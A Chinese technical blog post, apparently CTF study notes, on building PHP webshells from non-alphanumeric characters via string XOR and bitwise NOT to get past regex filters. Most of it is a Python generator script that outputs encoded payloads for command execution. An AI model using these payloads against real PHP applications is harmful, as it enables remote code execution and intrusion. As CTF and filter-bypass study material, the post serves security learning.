使用非常规字符写出Shell
一、写在最前面#
本文是其他师傅文章的基础上写出的一份个人总结,主要就是按照博主个人所理解来谈论关于使用非常规字符写Shell这一个技巧。其他师傅的文章链接如下(Orz):
- PHP不使用数字,字母和下划线写shell | Smi1e
- 记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门) - Angel_Kitty - 博客园 (cnblogs.com)
- 一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
虽然借鉴了师傅们的文章,但由于本文是个人知识的总结或存在诸多疏漏,欢迎各位师傅斧正。
二、问题引入#
当出现如下的正则过滤时该如何向code传值来实现命令执行呢。
本文给出的答案是使用非常规字符来写出一个Shell,什么叫使用非常规字符来写出一个Shell呢,然后通过Shell来进行命令执行?这里利用了PHP的一个特性——可以对字符串进行按位运算(对字符串中的每个字符逐个运算),从而可以使用一些并不常见的字符来进行合适按位运算从而得到希望拼接出的Shell字符。
三、关于按位运算#
为了获得需要的Shell字符我们得对那些非常规字符进行按位运算,而对于这一寻找合适的非常规字符的过程采用一个脚本来实现是最合适,这里就先解释PHP中的按位算法是如何发挥作用的。在此之前得了解下原码、反码和补码这三者的区别:原码、反码、补码 详解!不懂的请看过来! - 知乎 (zhihu.com)
而在此处讨论的非常规字符的ASCII值实际上大多是超过ASCII的范围,所以八位二进制的补码是不够用的,但解决方法也很简单——将其数值按二进制展开并在最前端补上一个符号位即可。如140的补码可以是这样[140]->0 1000 1100
在PHP中对字符串和数字分别进行按位操作实际得到的结果是可能不相同的,因为数字在进行按位操作时使用的是补码,而字符串仅是使用对应的二进制数进行按位操作,再将获得的二进制数转化为对应的字符串,并没有涉及符号位。
四、按位操作符#
这里采用了加强版的脚本来生成我们需要的非常见字符串,是[BUUCTF题解][极客大挑战 2019]RCE ME 1 - Article_kelp - 博客园 (cnblogs.com)中使用的脚本的基础上修改的,之后若遇到其他的题目需求会将优化后的脚本与题目一同更一篇博客出来,源码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | pattern = input ( "请输入正则过滤式,没有则直接回车跳过\n" ) #正则表达式修饰符re.I大小写不敏感,re.M多行匹配,影响^和$,re.S使得.匹配包括换行在内的所有字符,re.U根据Unicode字符集解析字符,影响\w,\W,\b,\B if pattern ! = "": import re blacklist = [ "`" , "'",'"',"\\"] for i in range(32,255): if re.search(pattern,chr(i),re.I): blacklist.append(chr(i)) else: #blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入 #如果有其他的要求可以对blacklist列表进行删改 blacklist=["`","'" , '"',"\\","0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"] #print(blacklist) #不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串 #如果需要获得更多拼接字符串查看该函数中的result列表 def yiHuo(string): global operationEffient global blacklist operationEffient=False result=[] finalstr='""^""' rawstr=string for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(127,255): if(chr(i) not in blacklist): for j in range(127,255): if(chr(j) not in blacklist): if(i^j==ord(rawstr[k])): result[k].extend([[hex(i).replace('0x',"%"),hex(j).replace('0x',"%")]]) #在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串) for i in range(0,len(result)): if(len(result[i])==0): return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i])) for i in range(0,len(rawstr)): finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"' + finalstr[finalstr.find("^", 0 ):] finalstr = finalstr[:finalstr.rfind( "'" , 0 )] + result[i][ 0 ][ 1 ] + finalstr[finalstr.rfind( '"',0):] #print(result) return(finalstr) def quFan(string): global operationEffient global blacklist operationEffient=False result=[] finalstr='~""' rawstr=string for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(32,255): if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]): result[k].extend([hex(i).replace('0x',"%")]) for i in range(0,len(result)): if(len(result[i])==0): return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i])) for i in range(0,len(rawstr)): finalstr=finalstr[:finalstr.rfind('"' , 0 )] + result[i][ 0 ] + finalstr[finalstr.rfind( '"' , 0 ):] return (finalstr) while ( True ): operationEffient = True target = input ( "请输入待转换字符\n" ) while (operationEffient): operation = input ( "请选择操作\n1->使用异或拼接\n2->使用取反获得\n" ) if (operation = = "1" ): result = yiHuo(target) pass elif (operation = = "2" ): result = quFan(target) pass else : print ( "选择的操作无效" ) continue print (result) |
异或(^)
使用按位异或,对两组字符串中的字符逐对取其ASCII码按二进制位逐位异或,将最终得到的二进制值转回ASCII码对应的字符。
取反(~)
对一个字符串中的字符逐个取其ASCII码进行取反,再将最终获得的ASCII码转回对应的字符。
五、关于写Shell的补充#
想了想发现之前写的一篇关于assert和eval函数的博客中谈论的内容适合放在这里,目前还有一些其他的技巧,但了解并不透彻,随意写出来怕是会以讹传讹,日后明了了再补上。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具